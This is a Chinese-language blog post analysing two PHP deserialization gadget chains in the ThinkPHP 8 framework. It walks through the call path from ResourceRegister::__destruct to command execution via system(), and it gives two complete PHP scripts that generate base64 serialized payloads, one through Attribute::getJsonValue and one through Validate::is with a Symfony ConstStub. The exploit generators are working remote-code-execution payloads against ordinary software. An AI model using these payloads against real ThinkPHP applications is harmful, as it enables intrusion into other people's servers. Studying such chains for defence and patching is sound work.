thinkphp8反序列化链子分析
Thinkphp8反序列化链子分析
前言
thinkphp8发布不久,支持的PHP版本最低为8,从各大社区都描述可知,PHP8的开发中潜入了安全的研究者,也就是相对来说PHP8变的比较安全。但是并不影响能够找到反序列化的链子,根据师傅们写的文章也不难看出,thinkphp8的反序列化链子不过是将thinkphp6的链子换了一个入口。
搭建环境
composer create-project topthink/think tp8 //Apache中使用的php版本要高于8 链子分析
从thinkphp分析合集中可以知悉,漏洞的source点是通过Model触发save方法从而触发后续的链子,但是在thinkphp8中可以看到,整个类的destruct方法都被删除掉了,也就是失去了这个触发点,只需要找一个新的source点即可。

根据平常的惯例,php的反序列化点一般都是在destruct或wakeup等拥有主动性的函数,这次的source点在ResourceRegister类的__destruct方法,方法能够触发register方法,而$this->registered默认是false的。

进入register方法后,会来到parseGroupRule方法中,参数是this->resource->getRule()的返回值,也就是从Rule类中直接返回变量rule的值。

在Resource#parseGroupRule方法中可知,先判断rule变量是否存在.,如果存在,则会分割成数组,随后弹出数组中的第一个索引并遍历数组,$item[] = $val . '/<' . ($option['var'][$val] ?? $val . '_id') . '>';会取出options变量var数组的val索引并与字符串拼接,这里的option也是完全可控的,也就是说这里可以触发_toString方法。

在Convertion#__toString方法中,能够触发toJson方法的,从这里也就连接起了thinkphp6链子的后半段信息。

进入到_toJson方法会通过json_encode编码成json,在这之前会触发toArray()方法先变成数组,方法的具体内容如下:
public function toArray(): array
{
$item = $visible = $hidden = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (str_contains($val, '.')) {
[$relation, $name] = explode('.', $val);
$visible[$relation][] = $name;
} else {
$visible[$val] = true;
$hasVisible = true;
}
} else {
$visible[$key] = $val;
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (str_contains($val, '.')) {
[$relation, $name] = explode('.', $val);
$hidden[$relation][] = $name;
} else {
$hidden[$val] = true;
}
} else {
$hidden[$key] = $val;
}
}
foreach ($this->append as $key => $name) {
$this->appendAttrToArray($item, $key, $name, $visible, $hidden);
}
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
if (isset($visible[$key]) && is_array($visible[$key])) {
$val->visible($visible[$key]);
} elseif (isset($hidden[$key]) && is_array($hidden[$key])) {
$val->hidden($hidden[$key], true);
}
if (!array_key_exists($key, $this->relation) || (array_key_exists($key, $this->with) && (!isset($hidden[$key]) || true !== $hidden[$key]))) {
$item[$key] = $val->toArray();
}
} elseif (isset($visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);#触发getAttr方法
}
if (isset($this->mapping[$key])) {
$mapName = $this->mapping[$key];
$item[$mapName] = $item[$key];
unset($item[$key]);
}
}
if ($this->convertNameToCamel) {
foreach ($item as $key => $val) {
$name = Str::camel($key);
if ($name !== $key) {
$item[$name] = $val;
unset($item[$key]);
}
}
}
return $item;
}
这个方法中有很多
for循环,但是一开始赋值的都是空数组,所以前面的循环都不需要管,直至通过array_merge将data与relation合并,并遍历合并后的数组后会进行条件判断,这里需要进入getAttr方法,只需要将$visible滞空,就会来到最后一个elseif,因为$hidden默认是空的,而$hasVisible也默认是false,会进入到getAttr方法中。
在Attribute#get方法中,会先触发getData方法,这个方法会进入到getRealFieldName中返回跟参数一样的值,最终会返回data数组中name索引的值,最终会进入getValue方法。


在getValue中,如果参数$name的值在json数组中,并且withAttr参数索引$name的值是一个数组,就会进入getJsonValue方法。

最终sink点在两个变量的拼接上,遍历withAttr的值作为函数名,将value的值作为参数,触发命令执行,这里的value就是data参数的值。

因此整个poc如下,这里需要解释下为什么Pivot类最终会来到Conversion__toString,因为Pivot继承于Model类,而Model类中通过use字段服用了整个Conversion与Attribute的代码:
<?php
namespace think\model\concern;
trait Attribute{
private $data=['a'=>['a'=>'whoami']];
private $withAttr=['a'=>['a'=>'system']];
protected $json=["a"];
protected $jsonAssoc = true;
}
namespace think;
abstract class Model{
use model\concern\Attribute;
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
namespace think\route;
class Resource {
public function __construct()
{
$this->rule = "1.1";
$this->option = ["var" => ["1" => new \think\model\Pivot()]];
}
}
class ResourceRegister
{
protected $resource;
public function __construct()
{
$this->resource = new Resource();
}
public function __destruct()
{
$this->register();
}
protected function register()
{
$this->resource->parseGroupRule($this->resource->getRule());
}
}
$obj = new ResourceRegister();
echo base64_encode(serialize($obj)); 
链子分析2
链子的起始头与第一条链子是一样的,都是通过触发Model#__toString()进入到Conversion#toArray()方法,但是source点不太一样,这里进入的是appendAttrToArray方法中,通过控制append的值,可以控制$name,在前文也提到,visible可以通过控制$this->visible的值,通过遍历$this->visible来控制visible的值。

在appendAttrToArray方法中,当这里的$name属性包含.的时候,会切割成数组,进入到getRelationWith方法中。

在getRelationWith方法中,当控制掉$relation为Validate类的时候,因为不存在visible方法,因此会触发Validate#_call方法。

这里的getRelation方法,当$name为空值的时候,直接返回类的relation值,否则当relation是数组时,判断$name是否是relation的索引,如果是则返回$name索引的值。

在Validate#_call中,做了一些处理,但是并不影响args的值,也就是我们事先传入的$visible[$key],最终通过call_user_func_array触发类中的is方法。

在is方法中,可以控制this->type[$rule]的值为system,控制$value的最终结果为你需要的命令即可。
public function is($value, string $rule, array $data = []): bool
{
$call = function ($value, $rule) {
if (isset($this->type[$rule])) {
$result = call_user_func_array($this->type[$rule], [$value]); #漏洞触发点
} elseif (function_exists('ctype_' . $rule)) {
$ctypeFun = 'ctype_' . $rule;
$result = $ctypeFun($value);
} elseif (isset($this->filter[$rule])) {
$result = $this->filter($value, $this->filter[$rule]);
} else {
$result = $this->regex($value, $rule);
}
return $result;
};
return match (Str::camel($rule)) {
'require' => !empty($value) || '0' == $value, // 必须
'accepted' => in_array($value, ['1', 'on', 'yes']), // 接受
'date' => false !== strtotime($value), // 是否是一个有效日期
'activeUrl' => checkdnsrr($value), // 是否为有效的网址
'boolean','bool' => in_array($value, [true, false, 0, 1, '0', '1'], true),
'number' => ctype_digit((string) $value),
'alphaNum' => ctype_alnum($value),
'array' => is_array($value), // 是否为数组
'string' => is_string($value),
'file' => $value instanceof File,
'image' => $value instanceof File && in_array($this->getImageType($value->getRealPath()), [1, 2, 3, 6]),
'token' => $this->token($value, '__token__', $data),
default => $call($value, $rule),
};
} 这里有一个点容易卡住,也卡住了我将近半小时,就是前面关于$visible的遍历,如果直接将$this->visible的值赋值成类似whoami,最终会变成true。但是如果这里不是字符串,最终call_user_func_array($this->type[$rule], [$value]);又如何执行呢,首先是尝试了数组的形式,最终[$value]变成了双重数组,命令执行会失败。
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (str_contains($val, '.')) {
[$relation, $name] = explode('.', $val);
$visible[$relation][] = $name;
} else {
$visible[$val] = true;
$hasVisible = true;
}
} else {
$visible[$key] = $val;
}
} 这里的解决办法就是在call_user_func_array($this->type[$rule], [$value]);执行的过程中,如果$value是一个类,也就相当于这个类被当成了字符串使用,会触发它的__toString方法,返回一个值,因此只需要找一个类的__toString方法直接返回一个值,并且这个值是可控的即可。我与链子作者都把枪头同时指向了ConstStub类,这里可以通过构造方法控制value,从而达到上面的效果。

最终payload:
<?php
namespace Symfony\Component\VarDumper\Cloner;
class Stub{}
namespace Symfony\Component\VarDumper\Caster;
use Symfony\Component\VarDumper\Cloner\Stub;
class ConstStub extends Stub
{
public $value="whoami";
}
namespace think;
use Symfony\Component\VarDumper\Caster\ConstStub;
class Validate{
protected $type;
public function __construct(){
$this->type=["visible"=>"system"];
}
}
abstract class Model{
protected $append=["a"=>"1.1"];
private $relation;
protected $visible;
public function __construct(){
$this->relation=["1"=>new Validate()];
$this->visible=["1"=>new ConstStub()]; //不能为字符串,怎么办?
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
namespace think\route;
use Symfony\Component\VarDumper\Caster\ConstStub;
use think\Validate;
class Resource {
public function __construct()
{
$this->rule = "1.1";
$this->option =["var" => ["1" => new \think\model\Pivot()]];
}
}
class ResourceRegister
{
protected $resource;
public function __construct()
{
$this->resource = new Resource();
}
public function __destruct()
{
$this->register();
}
protected function register()
{
$this->resource->parseGroupRule($this->resource->getRule());
}
}
$obj = new ResourceRegister();
echo base64_encode(serialize($obj)); 
总结
对于链子发现的过程,请参考下面原作者文章,本人参考作者的sink点,仅对链子进行复现并以自己简单易懂的方式与payload进行了归纳。
参考文章:
链子发现者文章
文章标题:thinkphp8反序列化链子分析
文章链接:https://aiwin.net.cn/index.php/archives/4422/
最后编辑:2025 年 5 月 19 日 21:36 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)